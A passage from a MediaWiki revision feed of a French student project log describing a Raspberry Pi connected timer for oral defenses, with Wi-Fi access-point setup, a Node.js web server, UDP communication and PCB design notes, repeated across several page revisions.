Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiné les deux programmes, et automatisé leur lancement. Nous avons créé un script shell qui lance le serveur web, puis dans une boucle infinie lance le Timer puis supprime les fichiers .json du controller du serveur web à la fin de chaque timer. Ce script a été mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancé à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également soudé une partie de nos composants pour faire des tests. Le test de la partie électronique à révélé un comportement anormal du circuit : des segments de leds restent allumés sans qu'aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assurés de corriger toutes les erreurs de soudure/contact mais nous n'avons pas pu trouver la source du problème. L’hypothèse qui a été émise est que la carte n'aillant pas été nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et que donc le potentiel entre deux points reliés n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculé par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;br /&gt;
&lt;br /&gt;
* [[Fichier:Timer IOT Web.zip]]&lt;br /&gt;
* https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49616</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49616"/>
				<updated>2019-01-26T18:32:40Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Séance 6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance, nous avons également établit une liste du matériel que nous utiliserons : une Raspberry pi pour faire tourner le serveur accessible en wifi, un transformateur 230VAC vers 5VDC pour alimenter la Raspberry, des afficheurs 7-segments, et un driver de leds pour utiliser le moins de sortie possible.&lt;br /&gt;
&lt;br /&gt;
==Séance 2==&lt;br /&gt;
&lt;br /&gt;
===Structuration du projet===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, des afficheurs 7-segments nous ont été fournis. Cependant, ils présentent la particularité d'être alimenté avec 12V. Les alimenter directement par la Raspberry qui elle peut fournir 5V n'est donc pas possible. &lt;br /&gt;
&lt;br /&gt;
Nous anons essayé de trouver une solution pour le contrôle des LED. Nous en avons retenu deux : &lt;br /&gt;
&lt;br /&gt;
- Utiliser des pilotes de LED [http://www.ti.com/lit/ds/symlink/tlc5947.pdf TLC5947] &lt;br /&gt;
&lt;br /&gt;
- Utiliser des transistors&lt;br /&gt;
&lt;br /&gt;
Nous avons alors décidé de partir sur les pilotes de LED pour plus de simplicité, ces derniers gérant eux mêmes le courant fournis aux LED. Après avoir pris cette décision, nous avons débuté la conception de la carte sous Eagle. Nous avons choisi ce logiciel car les toutes les footprint des composants utilisés sont disponibles sur le net.&lt;br /&gt;
&lt;br /&gt;
Nous avons également pu trouver des bibliothèques python pour utiliser le pilote de leds, et commencer le programme. Nous utiliserons deux pilotes de leds en cascade que nous contrôlerons avec 3 GPIO de la Raspberry. Nous avons également prévu de rajouter un ATMega328p qui pourra lui aussi contrôler les pilotes si on modifie la position de trois jumper. L'ATMega sera relié à la Raspberry en série pour qu'il puissent être programmé à travers elle.&lt;br /&gt;
&lt;br /&gt;
Pour alimenter le device, nous avons ajouté à notre liste de matériel un transformateur 230VAC vers 12VDC pour alimenter les leds ainsi qu'un régulateur 12VDC vers 5VDC pour alimenter la Raspberry (2A). Ensuite la Raspberry se chargera d'alimenter les pilote de leds et l'ATMega328p.&lt;br /&gt;
&lt;br /&gt;
==Séance 3==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
Durant cette séance nous avons finalisé le routage de la carte électronique suivant le circuit précédemment définit, et nous avons installé les librairies nécessaire à la programmation des pilotes de leds.&lt;br /&gt;
&lt;br /&gt;
Nous avons également testé les 7-segments qui nous ont été fournit, et nous nous sommes rendus compte qu'ils étaient à cathode commune et donc fonctionnaient différemment de ce qui était indiqué sur la datasheet. Cela pose un problème puisque les pilotes de LED dont nous disposons ne sont pas compatibles avec cette configuration. Nous avons donc du nous tourner vers l'autre solution pour le contrôle des leds, celle avec les transistors. Disposant de 4 afficheurs à 7segments (+ le point), les GPIO de la Raspberry ne sont pas assez nombreux, nous avons donc du utiliser des registre à décalage pour contrôler toutes les sorties.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors passé cette séance à étudier les datasheet des différents composants et à établir un nouveau schéma pour la carte.&lt;br /&gt;
&lt;br /&gt;
Les afficheurs 7-segments de devant ayant à afficher la même chose que ceux de derrière, nous les connecterons entre eux afin réduire de moitié la quantité de composants à utiliser.&lt;br /&gt;
&lt;br /&gt;
===programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Durant cette séance, nous avons également pensé au soft qui sera embarqué dans la Raspberry. Nous avions décidé de configurer la Raspberry en accesspoint WiFi et de faire tourner un serveur web qui sera accessible lorsque l'utilisateur se connectera au WiFi de la Raspberry. En parallèle, un autre programme tournera sur la Raspberry et s'occupera du calcul du Timer et du contrôle des leds. Pour que le programme puisse communiquer avec le serveur nous avons plusieurs solutions à étudier : IPC, socket, écriture/lecture dans des fichiers.&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû nous renseigner sur son fonctionnement et nous documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
&lt;br /&gt;
==Séance 4==&lt;br /&gt;
&lt;br /&gt;
===Carte électronique===&lt;br /&gt;
&lt;br /&gt;
Lors de cette séance, nous avons pu terminer la carte. Le schematic final est le suivant : &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:SchematicP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le PCB est le suivant : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RoutageP4IOT.png|center|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
==Séance 5==&lt;br /&gt;
&lt;br /&gt;
===Gravure de la carte électronique===&lt;br /&gt;
&lt;br /&gt;
Après avoir récupéré la carte gravée, nous nous sommes rendu compte qu'il y avait eu un problème de perçage. En effet, certains trous non présents sur le schéma de routage se trouvaient la carte, d'autres n'étaient pas du tout présent ou alors pas à la bonne place. Pourtant, nous n’apercevions aucun problème lors de la vérification des fichiers gerber avec http://www.gerber-viewer.com/. Nous avons alors passé pas mal de temps à rechercher la cause du problème avec Monsieur Flamen. Finalement, le problème provenait de la génération des fichiers gerber. Après avoir corrigé le problème, la carte a pu être regravée correctement.&lt;br /&gt;
&lt;br /&gt;
===Configuration de la raspberry pi===&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;br /&gt;
&lt;br /&gt;
===Programme Raspberry===&lt;br /&gt;
&lt;br /&gt;
Pendant cette séance nous avons également finalisé le programme de la Raspberry et installé les librairies permettant d'utiliser le registre à décalage et les GPIO &amp;lt;code&amp;gt;WiringPi&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans ce programme, après les initialisations, une socket UDP est créée pour recevoir la valeur initiale du Timer depuis le serveur web. La socket est par la suite fermée et le message reçu converti en entier. Puis deux threads sont lancés : Le premier qui permet le calcul du Timer en se basant sur la valeur initiale et en utilisant l'horloge physique de la Raspberry (fonction : &amp;lt;code&amp;gt;clock_gettime(CLOCK_REALTIME, &amp;amp;&amp;lt;timespec&amp;gt;);&amp;lt;/code&amp;gt;), le deuxième thread contrôle les 7-segements après l'avoir parsé en unités et dizaines. Les deux threads communiquent entre eux avec un pipe et un système de verrou pour synchroniser l'envoi et la réception. Finalement les threads et le pipe sont fermés proprement.&lt;br /&gt;
&lt;br /&gt;
Ce programme affiche les valeurs supérieures à 99 secondes en minutes et celle inférieures à 99 secondes en seconde. Le programme et disponible sur le git : https://github.com/ael-mess/raspberry-pi-timer/blob/master/pi.c&lt;br /&gt;
&lt;br /&gt;
==Séance 6==&lt;br /&gt;
&lt;br /&gt;
Durant cette séance nous avons combiné les deux programmes, et automatisé leur lancement. Nous avons créé un script shell qui lance le serveur web, puis dans une boucle infinie lance le Timer puis supprime les fichiers .json du controller du serveur web à la fin de chaque timer. Ce script a été mis dans &amp;lt;code&amp;gt;/etc/.rclocal&amp;lt;/code&amp;gt; de la Raspberry en tache de fond, pour qu'il puissent être lancé à chaque allumage de la Raspberry même avant le loging.&lt;br /&gt;
&lt;br /&gt;
===Test===&lt;br /&gt;
&lt;br /&gt;
Pendant cette dernière séance nous avons également soudé une partie de nos composants pour faire des tests. Le test de la partie électronique à révélé un comportement anormal du circuit : des segments de leds restent allumés sans qu'aucune tension sur la base des transistors ne soit appliquée. Nous nous sommes assurés de corriger toutes les erreurs de soudure/contact mais nous n'avons pas pu trouver la source du problème. L’hypothèse qui a été émise est que la carte n'aillant pas été nettoyé avant la soudure, le contact n'était pas pareil pour tous les composants, et que donc le potentiel entre deux points reliés n'était pas identique (M.Thierry Flamen).&lt;br /&gt;
&lt;br /&gt;
La partie logiciel elle, marche très bien sans aucun comportement anormal.&lt;br /&gt;
&lt;br /&gt;
===Amélioration si plus temps===&lt;br /&gt;
&lt;br /&gt;
- prendre plus de temps pour réaliser et tester la partie hardware.&lt;br /&gt;
&lt;br /&gt;
- utiliser la socket pour l'envoie de chaque valeur du timer et non que pour la valeur initial. (parce que le timer calculé par le serveur web utilise la date de la Raspberry et n'est pas précis)&lt;br /&gt;
&lt;br /&gt;
==Flyer==&lt;br /&gt;
[[Fichier:Flyer timer iot.jpeg|800px|center]]&lt;br /&gt;
&lt;br /&gt;
=Documents rendus=&lt;br /&gt;
&lt;br /&gt;
* [[Fichier:Timer IOT Web.zip]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49613</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49613"/>
				<updated>2019-01-26T18:28:57Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Programme Raspberry */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 1 Raspberry pi 3&lt;br /&gt;
* 4 afficheurs 7 segments [http://www.kingbrightusa.com/images/catalog/SPEC/SA23-11SRWA.pdf SA23-11SRWA]&lt;br /&gt;
* 16 transistors PNP [http://njsemi.com/datasheets/2N2894.pdf 2N2894]&lt;br /&gt;
* 2 multiplexeurs [https://www.diodes.com/assets/Datasheets/74HCT595.pdf 74HCT595]&lt;br /&gt;
* 16 résistances 56 Ohms&lt;br /&gt;
* 16 résistances 1,2kOhms&lt;br /&gt;
* 2 capacités 100nF&lt;br /&gt;
* 1 capacité 10uF&lt;br /&gt;
&lt;br /&gt;
==Séance 1==&lt;br /&gt;
&lt;br /&gt;
===Recherche d'un sujet et clarification du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
Après avoir passé du temps à rechercher un sujet, nous nous sommes orienté vers le sujet proposé par les encadrants, le timer connecté. Nous avons alors passé le reste de la séance à effectuer des recherches sur le matériel à utiliser ainsi qu'à définir les fonctionnalités que présentera notre timer. Les fonctionnalités retenues sont les suivantes : &lt;br /&gt;
&lt;br /&gt;
- Une application mobile permettra de contrôler le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est un membre du jury, il pourra modifier le timer&lt;br /&gt;
&lt;br /&gt;
- Si l'utilisateur est une personne qui soutient, il ne pourra que consulter le timer&lt;br /&gt;
&lt;br /&gt;
- Un système de vote sera disponible à partir de l'application&lt;br /&gt;
&lt;br /&gt;
- Lorsqu'il restera 2 minutes sur le timer, le téléphone de l'utilisateur vibrera&lt;br /&gt;
&lt;br /&gt;
- Le timer sera double face afin qu'il soit visible par le jury et l'étudiant&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalement, nous avons été amené à revoir les fonctionnalités proposées au cours du projet par manque de temps. L'application a été remplacé par un site web. Le système de vote n'a pas été mis en place mais le membre du jury peut écrire des commentaires à la personne qui soutient à travers le site web. La fonctionnalité de vibration à été remplacée par un système de modification de la coloration du timer présent sur le site web à partir d'un certain temps restant.&lt;br /&gt;
&lt;br /&gt;
